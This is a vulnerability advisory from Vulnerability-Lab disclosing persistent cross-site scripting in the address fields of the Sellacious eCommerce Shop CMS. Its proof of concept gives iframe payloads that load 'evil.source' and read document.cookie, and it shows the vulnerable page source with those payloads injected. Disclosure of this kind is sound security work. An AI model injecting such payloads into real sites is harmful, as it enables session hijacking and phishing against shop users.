Sellacious eCommerce Shop Cross Site Scripting

2020.05.14
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Document Title: =============== Sellacious eCommerce - Multiple Persistent Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2226 Release Date: ============= 2020-05-08 Vulnerability Laboratory ID (VL-ID): ==================================== 2226 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Sellacious is a perfect solution for all your b2b needs, coded and built to render all user groups, Be it Small, Medium or Enterprise. Sellacious is fixed with all the features required for a b2b online store making it a model b2b eCommerce software. Unlike other solutions, requires extremely less plugins to make it a complete solution which defines it as a fit Enterprise eCommerce Software. Sellacious is designed to render the users an interface which supports the running of your first Online store or Joomla Marketplace under 2 minutes. Be it a store with just a fraction of products or with thousands of variations, Sellacious - an extremely dependable eCommerce marketplace software is delivered to handle them all with just a few clicks. (Copy of the Homepage: https://www.sellacious.com/free-open-source-ecommerce-software ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the Sellacious eCommerce Shop CMS. Vulnerability Disclosure Timeline: ================================== 2020-05-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Sellacious eCommerce Shop CMS (2020 Q1). The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The cross site web vulnerabilities are located in the all the adress input fields of the `Manage Your Addresses` module. Remote attackers are able to register a low privilege user account to inject own malicious script code to the adress information page. The execution of the script code occurs each time the adress information is used in the web ui of the ecommerce application. The request method to inject is POST and the attack vector is persistent on the application-side. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Manage Your Addresses Vulnerable Input(s): [+] Full name [+] First name [+] Middle name [+] Last name [+] Company [+] PO Box [+] Address [+] Landmark Affected(s): [+] index.php/manage-your-addresses [+] Backend user adress information listing Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers with user account and low user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. PoC: Exploitation <iframe src="evil.source" onload=alert(document.cookie)> <iframe src="evil.source" onload=alert(document.domain)> PoC: Vulnerable Source <div class="addresses-container"> <div class="address-heading"> <h2>Your addresses <a href="#address-form-0" role="button" data-toggle="ctech-modal" class="ctech-mb-3 btn-add-address ctech-float-right ctech-text-primary"> <i class="fa fa-plus"></i> <span class="add-address-text">Add New Address</span></a></h2></div> <div id="addresses" class="cart-aio ctech-text-center"> <div id="address-editor"> <ul id="address-items" data-original-title="" title=""> <li class="address-item" id="address-item-9"> <div class="ctech-float-right address-action"> <button type="button" class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip remove-address" data-placement="bottom" data-id="9" title="" data-original-title="Delete"><i class="fa fa-trash-alt"></i></button> <a href="#address-form-9" role="button" data-toggle="ctech-modal" data-placement="bottom" class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip" title="" data-original-title="Edit"><i class="fa fa-edit"></i></a> </div> <div class="address-content"> <span class="address_name">&gt;"<iframe src="evil.source"></span> <span class="address_company">>"<iframe src="evil.source"></span> <span class="address_po_box">PO #: >"<iframe src="evil.source"></span> <span class="address_address has-comma">>"<iframe src="evil.source"></span> <span class="address_landmark has-comma">>"<iframe src="evil.source"></span> <span class="address_country">United States</span> <div class="cart_address_box w100p"> <div class="cart_address_buttons"> </div> </div> </div> </li> <li class="address-item odd-address-item"> <a href="#address-form-0" role="button" data-toggle="ctech-modal" class="btn-new-address"><i class="fa fa-plus"></i></a> </li> </iframe></span></div></li></ul> <div class="ctech-wrapper"> </div><div class="ctech-clearfix"></div> </div><div class="ctech-clearfix"></div> </div></div> Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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